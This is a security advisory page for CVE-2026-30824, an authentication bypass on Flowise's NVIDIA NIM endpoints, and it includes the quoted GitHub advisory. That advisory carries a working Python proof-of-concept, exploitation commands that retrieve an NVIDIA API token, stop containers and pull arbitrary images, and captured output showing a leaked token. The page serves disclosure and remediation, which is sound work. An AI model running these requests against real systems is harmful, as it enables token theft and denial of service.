AgentbeamBeta
AI agent vulnerability · Flowise

CVE-2026-30824: Flowise Missing Authentication on NVIDIA NIM Endpoints

highCVSS 4.0 7.7GHSA-5f53-522j-j454

Flowise up to 3.0.12 leaves every endpoint under /api/v1/nvidia-nim without authentication. An anonymous caller can fetch an NVIDIA API token and, where Docker or NIM is installed, list, start and stop containers and pull images. Upgrade flowise to 3.0.13.

Published Mar 6, 2026 · Updated Mar 9, 2026 · Analysis Nov 7, 2026

What an attacker can do

The cause is one line in packages/server/src/utils/constants.ts. The entry '/api/v1/nvidia-nim' sits in WHITELIST_URLS, so the global auth middleware skips JWT and API-key checks for the whole router. None of the controller actions in packages/server/src/controllers/nvidia-nim/index.ts do their own check.

The advisory lists nine endpoints. GET /get-token returns a valid NVIDIA API token. In the report that token listed more than 170 models on NVIDIA's inference API. GET /list-running-containers, POST /get-image and POST /get-container disclose information. GET /preload and /download-installer consume resources. POST /pull-image pulls an arbitrary image, POST /start-container starts one, and POST /stop-container stops a container, which is a denial of service.

The container calls work only where Docker or NIM is present. In the test setup they returned a 500 with the message 'Container runtime client not available', which still proves the auth bypass, since the answer was not a 401. The attacker needs only network access to the Flowise port. A reachable instance with a container runtime could be made to run an attacker-chosen image, and the NVIDIA token carries usage and cost.

Who is affected

The npm package flowise, version 3.0.12 and below. Instances where Flowise can be reached by untrusted users are exposed, and the container actions need a Docker or NIM runtime on the host. Check the version:

npm ls flowise

Then test whether /api/v1/nvidia-nim/get-token answers without credentials.

flowise

Ecosystem
npm
Affected
<= 3.0.12
Fixed in
3.0.13
Check
npm ls flowise

How to fix it

Upgrade flowise to 3.0.13:

npm install [email protected]

The advisory names no workaround. If you cannot upgrade yet, the DENYLIST_URLS environment variable removes entries from the whitelist in the server code, so adding /api/v1/nvidia-nim to it should restore authentication. That comes from reading the code in the related advisories, not from this one, so test it. Keep Flowise off the public internet, and rotate any NVIDIA API token it handed out.

How to tell if you were hit

Search access logs for requests to /api/v1/nvidia-nim/ paths, especially get-token, pull-image, start-container and stop-container, from addresses that are not your administrators. On the host, check docker ps and image history for containers or images you did not start, and for unexpected stops. Review NVIDIA API usage for calls you cannot explain. Beam records agent shell commands, but these calls reach Flowise directly over HTTP.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Missing Authentication on NVIDIA NIM Endpoints

Summary

The NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.

Vulnerability Details

| Field | Value |
| CWE | CWE-306: Missing Authentication for Critical Function |
| Affected File | `packages/server/src/utils/constants.ts` |
| Affected Line | Line 20 (`'/api/v1/nvidia-nim'` in `WHITELIST_URLS`) |
| CVSS 3.1 | 8.6 (High) |

Root Cause

In packages/server/src/utils/constants.ts, the NVIDIA NIM route is added to the authentication whitelist:

export const WHITELIST_URLS = [
    // ... other URLs
    '/api/v1/nvidia-nim',  // Line 20 - bypasses JWT/API-key validation
    // ...
]

This causes the global auth middleware to skip authentication checks for all endpoints under /api/v1/nvidia-nim/*. None of the controller actions in packages/server/src/controllers/nvidia-nim/index.ts perform their own authentication checks.

Affected Endpoints

| Method | Endpoint | Risk |
| GET | `/api/v1/nvidia-nim/get-token` | Leaks valid NVIDIA API token |
| GET | `/api/v1/nvidia-nim/preload` | Resource consumption |
| GET | `/api/v1/nvidia-nim/download-installer` | Resource consumption |
| GET | `/api/v1/nvidia-nim/list-running-containers` | Information disclosure |
| POST | `/api/v1/nvidia-nim/pull-image` | Arbitrary image pull |
| POST | `/api/v1/nvidia-nim/start-container` | Arbitrary container start |
| POST | `/api/v1/nvidia-nim/stop-container` | Denial of Service |
| POST | `/api/v1/nvidia-nim/get-image` | Information disclosure |
| POST | `/api/v1/nvidia-nim/get-container` | Information disclosure |

Impact

1. NVIDIA API Token Leakage

The /get-token endpoint returns a valid NVIDIA API token without authentication. This token grants access to NVIDIA's inference API and can list 170+ LLM models.

Token obtained:

{
  "access_token": "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",
  "token_type": "Bearer",
  "expires_in": 3600
}

Token validation:

curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
# Returns list of 170+ available models

2. Container Runtime Manipulation

On systems with Docker/NIM installed, an unauthenticated attacker can:

  • List running containers (reconnaissance)
  • Stop containers (Denial of Service)
  • Start containers with arbitrary images
  • Pull arbitrary Docker images (resource consumption, potential malicious images)

Proof of Concept

poc.py

#!/usr/bin/env python3
"""
POC: Privileged NVIDIA NIM endpoints are unauthenticated

Usage:
  python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
"""

import argparse
import urllib.request
import urllib.error

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port")
    ap.add_argument("--path", required=True, help="NIM endpoint path")
    ap.add_argument("--method", default="GET", choices=["GET", "POST"])
    ap.add_argument("--data", default="", help="Raw request body for POST")
    args = ap.parse_args()

    url = args.target.rstrip("/") + "/" + args.path.lstrip("/")
    body = args.data.encode("utf-8") if args.method == "POST" else None
    req = urllib.request.Request(
        url,
        data=body,
        method=args.method,
        headers={"Content-Type": "application/json"} if body else {},
    )

    try:
        with urllib.request.urlopen(req, timeout=10) as r:
            print(r.read().decode("utf-8", errors="replace"))
    except urllib.error.HTTPError as e:
        print(e.read().decode("utf-8", errors="replace"))

if __name__ == "__main__":
    main()

Exploitation Steps

# 1. Obtain NVIDIA API token (no authentication required)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token

# 2. List running containers
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers

# 3. Stop a container (DoS)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/stop-container \
  --method POST --data '{"containerId":"<target_id>"}'

# 4. Pull arbitrary image
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/pull-image \
  --method POST --data '{"imageTag":"malicious/image","apiKey":"any"}'

Evidence

Token retrieval without authentication:

$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
{"access_token":"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","token_type":"Bearer","refresh_token":null,"expires_in":3600,"id_token":null}

Token grants access to NVIDIA API:

$ curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
{"object":"list","data":[{"id":"01-ai/yi-large",...},{"id":"meta/llama-3.1-405b-instruct",...},...]}

Container endpoints return 500 (not 401) proving auth bypass:

$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers
{"statusCode":500,"success":false,"message":"Container runtime client not available","stack":{}}

References

Credited to tenbbughunters.

Questions

Does CVE-2026-30824 need a login?

No. The nvidia-nim router is on the authentication whitelist, so all its endpoints answer without credentials.

What does the get-token endpoint expose?

A valid NVIDIA API token that, in the report, worked against NVIDIA's inference API and listed over 170 models.

Can an attacker start containers on any Flowise server?

Only where a Docker or NIM runtime is available to Flowise. Without it, the container endpoints return a 500 error.

Is it exploited in the wild?

No source says so. The entry has no CISA KEV data, but the EPSS score is high, at 0.3691.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Flowise vulnerabilities

All Flowise entries